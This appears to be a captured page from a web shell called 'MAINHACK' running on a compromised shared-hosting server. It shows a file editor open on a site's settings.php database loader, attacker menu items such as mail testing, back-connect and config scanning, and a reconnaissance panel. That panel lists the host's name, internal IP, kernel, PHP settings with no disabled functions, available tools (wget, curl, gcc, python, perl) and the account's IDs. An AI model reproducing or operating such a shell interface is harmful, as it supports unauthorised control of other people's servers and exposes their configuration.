[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: settings.php
<?php error_reporting(E_ALL); ini_set('display_errors',0); ob_start(); session_start(); //include 'config.php'; include 'db_settings.php'; $link1='inc/database.php'; $link2='inc/db.php'; $link3='inc/oops.php'; $link4='inc/dbcontroller.php'; include $link1; include $link2; include $link3; include $link4; $database = new Db(); $db = $database->getConnection(); $show=new Oops($db); $db_handle = new DBController(); $sq=$show->readAll('profile'); while($row = $sq->fetch(PDO::FETCH_ASSOC)){ $cid=$row['id']; $company_name=$row['company_name']==''?'NOT ADDED':$row['company_name']; $title=$row['title']==NULL?'NOT ADDED':$row['title']; $address=$row['address']==NULL?'NOT ADDED':$row['address']; $phone=$row['phone']==NULL?'NOT ADDED':$row['phone']; $watsapp=$row['watsapp']==NULL?'NOT ADDED':$row['watsapp']; $email=$row['email']==NULL?'NOT ADDED':$row['email']; $contact_person=$row['contact_person']==NULL?'NOT ADDED':$row['contact_person']; $state=$row['state']==NULL?'NOT ADDED':$row['state']; $city=$row['city']==NULL?'NOT ADDED':$row['city']; $pincode=$row['pincode']==NULL?'NOT ADDED':$row['pincode']; $website=$row['website']==NULL?'NOT ADDED':$row['website']; $dir1=dirname("/demobyITS/ownbrick/test"); $company_logo=$row['logo']==NULL?"http://".$_SERVER['HTTP_HOST']."$dir1/product_img/noimg.png":"http://" . $_SERVER['SERVER_NAME']."$dir1/product_img/".$row['logo'].""; $favicon=$row['favicon']==NULL?"http://".$_SERVER['HTTP_HOST']."$dir1/product_img/noimg.png":"http://" . $_SERVER['SERVER_NAME']."$dir1/product_img/".$row['favicon'].""; $pic_img="http://".$_SERVER['HTTP_HOST']."$dir1/product_img"; $phonepe=$row['phonepe']==NULL?'':$row['phonepe']; $gpay=$row['gpay']==NULL?'':$row['gpay']; $paytm=$row['paytm']==NULL?'':$row['paytm']; $fb=$row['fb']==NULL?'':$row['fb']; $insta=$row['insta']; $gst=$row['gst']; $privacy=$row['privacy']; $terms=$row['terms']; $meta_description=$row['meta_description']; $meta_keyword=$row['meta_keyword']; $signin_title=$row['signin_title']==NULL?'NOT ADDED':$row['signin_title']; $first_content=$row['first_content']==NULL?'NOT ADDED':$row['first_content']; $icon="http://".$_SERVER['HTTP_HOST']."$dir1/product_img/noimg.png"; $icon3=$row['icon3']==NULL?"http://".$_SERVER['HTTP_HOST']."$dir1/product_img/noimg.png":"http://" . $_SERVER['SERVER_NAME']."$dir1/product_img/".$row['icon3'].""; $about_title=$row['about_title']; $about_content=$row['about_content']; $about_img=$row['about_img']==NULL?"http://".$_SERVER['HTTP_HOST']."$dir1/product_img/noimg.png":"http://" . $_SERVER['SERVER_NAME']."$dir1/product_img/".$row['about_img'].""; $leftside_title=$row['leftside_title']==NULL?'NOT ADDED':$row['leftside_title']; $rightside_title=$row['rightside_title']==NULL?'NOT ADDED':$row['rightside_title']; $mission_img=$row['mission_img']==NULL?"http://".$_SERVER['HTTP_HOST']."$dir1/product_img/noimg.png":"http://" . $_SERVER['SERVER_NAME']."$dir1/product_img/".$row['mission_img'].""; $content1=$row['content1']==NULL?'NOT ADDED':$row['content1']; $content12=$row['content12']==NULL?'NOT ADDED':$row['content12']; $content21=$row['content21']==NULL?'NOT ADDED':$row['content21']; $landingtc=$row['landingtc']==NULL?'NOT ADDED':$row['landingtc']; $notice=$row['notice']==NULL?'NOT ADDED':$row['notice']; $our_values=$row['our_values']==NULL?'NOT ADDED':$row['our_values']; $individual=$row['individual']==NULL?'NOT ADDED':$row['individual']; $seller=$row['seller']==NULL?'NOT ADDED':$row['seller']; $professional=$row['professional']==NULL?'NOT ADDED':$row['professional']; $disclaimer=$row['disclaimer']==NULL?'NOT ADDED':$row['disclaimer']; } $link_url="http://".$_SERVER['HTTP_HOST'].$dir1; ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 678.16 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619